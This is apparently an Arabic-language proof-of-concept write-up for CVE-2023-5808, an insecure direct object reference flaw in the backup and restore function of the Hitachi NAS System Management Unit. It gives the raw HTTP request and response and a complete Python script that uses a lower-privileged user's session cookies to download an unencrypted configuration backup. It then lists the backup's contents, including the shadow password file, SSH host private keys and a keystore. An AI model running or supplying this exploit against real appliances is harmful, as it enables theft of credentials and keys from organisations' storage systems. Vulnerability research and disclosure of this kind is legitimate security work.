
استغلال إثبات المفهوم لثغرة CVE-2023-5808، وهي ثغرة IDOR في Hitachi NAS SMU Backup & Restore، تسمح للمستخدمين غير المصرح لهم بتنزيل بيانات التكوين والبيانات السرية الحساسة.
CVE-2023-5808 هو مرجع كائن مباشر غير آمن (IDOR) في ثغرة أمنية موجودة في وظيفة النسخ الاحتياطي والاستعادة لوحدة إدارة النظام (SMU) في تخزين Hitachi NAS (HNAS). تؤثر هذه الثغرة الأمنية على إصدارات SMU الأقدم من 14.8.7825.01.
يتطلب هذا الاستغلال أن يتحكم المهاجم في بيانات اعتماد حساب مستخدم ليس Read-Only أو Global Administrator، أي:
Storage AdministratorServer AdministratorServer + Storage Administratorحسب التصميم، يجب أن يتمكن المستخدمون الذين لديهم دور Global Administrator من الوصول إلى وظيفة النسخ الاحتياطي والاستعادة في SMU، الموجودة في الرابط https://<HOSTNAME/FQDN/IP>/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored وإرسال الطلب التالي، والذي سينشئ ويحمل نسخة احتياطية (غير مشفرة/بدون كلمة مرور):
GET /mgr/app/template/simple%2CBackupSmuScreen.vm/password/ HTTP/1.1
Host: REDACTED
Cookie: JSESSIONID=REDACTED; JSESSIONIDSSO=REDACTED
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://REDACTED/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
إذا كان الطلب ناجحًا، يستجيب SMU بالاستجابة التالية ويبدأ تنزيل smu_2023-04-12_1543+0200.zip:
HTTP/1.1 200
Cache-Control: PRIVATE
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Strict-Transport-Security: max-age=31536000;includeSubDomains
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
P3P: CP="NOI DSP CUR ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: cache
Content-Disposition: attachment;filename=smu_2023-04-12_1543+0200.zip
Content-Type: application/download
Content-Length: 1831412
Date: Wed, 12 Apr 2023 13:43:15 GMT
Connection: close
Server: SMU
[DATA]
ومع ذلك، بسبب إشراف في منطق الأعمال في SMU، يمكن للمهاجم الذي لديه إمكانية الوصول إلى حساب Storage Administrator أو Server Administrator أو Server + Storage Administrator تحديث ملفات تعريف الارتباط JSESSIONID و JSESSIONIDSSO لتطابق ملفات تعريف الارتباط للمستخدم الذي بحوزته، مما يسمح له بتنزيل أرشيف النسخ الاحتياطي.
وبالتالي، يمكن استخدام نص مثل CVE-2023-5808.py لاستغلال هذه الثغرة الأمنية:
#!/usr/bin/python3
#
# Title: Hitachi NAS (HNAS) System Management Unit (SMU) Backup & Restore IDOR Vulnerability
# CVE: CVE-2023-5808
# Date: 2023-12-13
# Exploit Author: Arslan Masood (@arszilla)
# Vendor: https://www.hitachivantara.com/
# Version: < 14.8.7825.01
# Tested On: 13.9.7021.04
import argparse
from datetime import datetime
from os import getcwd
import requests
parser = argparse.ArgumentParser(
description="CVE-2023-5808 PoC",
usage="./CVE-2023-5808.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
)
# Create --host argument:
parser.add_argument(
"--host",
required=True,
type=str,
help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
)
# Create --id argument:
parser.add_argument(
"--id",
required=True,
type=str,
help="JSESSIONID cookie value"
)
# Create --sso argument:
parser.add_argument(
"--sso",
required=True,
type=str,
help="JSESSIONIDSSO cookie value"
)
args = parser.parse_args()
def download_file(hostname, jsessionid, jsessionidsso):
# Set the filename:
filename = f"smu_backup-{datetime.now().strftime('%Y-%m-%d_%H%M')}.zip"
# Vulnerable SMU URL:
smu_url = f"https://{hostname}/mgr/app/template/simple%2CBackupSmuScreen.vm/password/"
# GET request cookies
smu_cookies = {
"JSESSIONID": jsessionid,
"JSESSIONIDSSO": jsessionidsso
}
# GET request headers:
smu_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Dnt": "1",
"Referer": f"https://{hostname}/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
"Connection": "close"
}
# Send the request:
with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
with open(filename, 'wb') as backup_archive:
# Write the zip file to the CWD:
backup_archive.write(file_download.content)
print(f"{filename} has been downloaded to {getcwd()}")
if __name__ == "__main__":
download_file(args.host, args.id, args.sso)
يمكن فهم مبرر درجة CVSS v3.1 البالغة 7.6 بشكل أكبر من خلال فحص محتويات الملف smu_2023-04-12_1543+0200.zip:
$ tree -a
.
├── adc_replic
│ ├── backup.properties
│ ├── mig_policies
│ │ ├── MIGR_TEST_POL
│ │ │ ├── 1
│ │ │ │ ├── config
│ │ │ │ └── lockfile
│ │ │ ├── config
│ │ │ └── lockfile
│ │ └── next_schedule
│ ├── mig_rules
│ │ └── MIGR_TEST
│ ├── pkgHandler.xml
│ ├── replic_policies
│ ├── replic_rules
│ ├── replic_schedules
│ │ └── next_schedule
│ └── replic_scripts
├── backup.properties
├── mgr
│ ├── axalon.properties
│ ├── backup.properties
│ ├── banner.txt.disabled
│ ├── managedservers.json
│ ├── pkgHandler.xml
│ ├── systemmonitor_1.xml
│ ├── systemmonitor_2.xml
│ └── systemmonitor_3.xml
├── network
│ └── yp.conf
├── postgresql
│ ├── backup.properties
│ ├── config_pgdump.tar
│ ├── pkgHandler.xml
│ └── rolledupstats_pgdump.tar
├── quorumdev2
│ ├── backup.properties
│ ├── CB-HNAS1-CLU
│ │ └── cluster.conf
│ ├── HH-HNAS1-CLU
│ │ └── cluster.conf
│ └── quorumdev2.conf
├── quorumdevice
│ └── backup.properties
├── readyToShip
│ ├── backup.properties
│ ├── pkgHandler.xml
│ ├── ssh_host_dsa_key
│ ├── ssh_host_dsa_key.pub
│ ├── ssh_host_key
│ ├── ssh_host_key.pub
│ ├── ssh_host_rsa_key
│ └── ssh_host_rsa_key.pub
├── server-tools
│ ├── backup.properties
│ ├── ldap.conf.rb
│ ├── massage-commands-for-managed-servers
│ ├── ypcat-group
│ └── ypcat-passwd
├── smu_users
│ ├── backup.properties
│ ├── manager
│ │ └── ssh
│ │ └── known_hosts
│ ├── pkgHandler.xml
│ ├── root
│ │ └── ssh
│ │ └── known_hosts
│ └── shadow
└── tomcat
├── backup.properties
├── nas.keystore
└── pkgHandler.xml
25 directories, 49 files
يحتوي أرشيف .zip على ملفات متنوعة بخصوص تكوين SMU. الملفات المضمنة هي (على سبيل المثال لا الحصر):
/etc/shadow الخاص بـ SMU، والذي يحتوي على تجزئات كلمات المرور الخاصة بواجهة CLI لكل مستخدم،PEM DSA و PEM RSA و OpenSSH RSA1،PostgreSQL.هذه الثغرة الأمنية هي "ثغرة شقيقة" لـ CVE-2023-6538.